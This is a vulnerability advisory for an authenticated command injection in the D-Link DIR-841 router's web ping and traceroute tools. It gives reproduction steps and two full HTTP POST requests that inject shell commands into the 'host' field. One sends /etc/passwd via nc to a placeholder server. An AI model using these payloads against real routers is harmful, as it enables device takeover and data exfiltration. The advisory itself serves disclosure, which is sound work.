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Advisories/DLINK-DIR-841-command-injection.txt
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| =========================================================================================================================== | |
| # Product: D-LINK DIR-841 Authenticated Command Injection | |
| # Product web page: https://in.dlink.com/en/products/dir-841-ac1200-mu-mimo-wi-fi-gigabit-router-with-fast-ethernet-lan-ports | |
| # Affected product version: DLINK DIR-841 (Firmware version: 3.0.3 / Fixed on :3.0.4) | |
| # | |
| # | |
| # Vendor description: | |
| # ------------------- | |
| # "The wireless router DIR-841 includes a built-in firewall. The advanced security functions minimize threats of | |
| # hacker attacks, prevent unwanted intrusions to your # network, and block access to unwanted websites for users of | |
| # your LAN. In addition, the router supports IPsec and allows to create secure VPN tunnels. Built-in # Yandex. | |
| # DNS service protects against malicious and fraudulent web sites and helps to block access to adult content on | |
| # children's devices." | |
| # | |
| # | |
| # | |
| # Vulnerability overview: | |
| # ---------------------- | |
| # | |
| # DLINK DIR-841 suffers from an authenticated command injection, the vulnerability can be exploit through | |
| # the "system tools" (ping/ping6/traceroute), this allows for full control over the device internals. | |
| # | |
| =========================================================================================================================== | |
| D-LINK DIR-841 Authenticated Command Injection | |
| --------------------------------------------- | |
| The vulnerability impacts the DLINK DIR-841 router, tested on firmware 3.0.3 and 3.0.4, it was possible to inject arbitrary | |
| commands when using tools available on the web interface such as: ping and traceroute. | |
| Steps to reproduce the vulnerability: | |
| 1- Login in DLINK DIR-841 Web Interface as admin. | |
| 2- Choose the "System" option. | |
| 3- Using the ping or traceroute tool, enter the IP in the interface of the chosen tool, and then immediately | |
| capture the request using your favorite proxy tool. | |
| 4- Right after that we can manipulate the host parameter, and insert payloads like: | |
| "'127.0.0.1 & sleep 5'" or "127.0.0.1 & nc target port '". | |
| The sleep command or the nc will be executed within the ping / traceroute tool. | |
| Proof-of-concept: | |
| ------------- | |
| POST /jsonrpc HTTP/1.1 | |
| Host: IP | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 | |
| Accept: application/json, text/plain, */* | |
| Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 | |
| Accept-Encoding: gzip, deflate | |
| Content-Type: application/json;charset=utf-8 | |
| Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ijx" | |
| Content-Length: 156 | |
| Origin: IP | |
| Connection: close | |
| Referer: http://ip-address:9821/admin/index.html | |
| Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=<session> | |
| {"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & sleep 5'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3},"save":true},"id":757} | |
| Exfiltrating files | |
| ------------------ | |
| POST /jsonrpc HTTP/1.1 | |
| Host: IP | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 | |
| Accept: application/json, text/plain, */* | |
| Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 | |
| Accept-Encoding: gzip, deflate | |
| Content-Type: application/json;charset=utf-8 | |
| Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ijx" | |
| Content-Length: 156 | |
| Origin: IP | |
| Connection: close | |
| Referer: http://ip-address:9821/admin/index.html | |
| Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=<session> | |
| {"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & nc SERVER-IP 1234 < /etc/passwd'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3},"save":true},"id":757} | |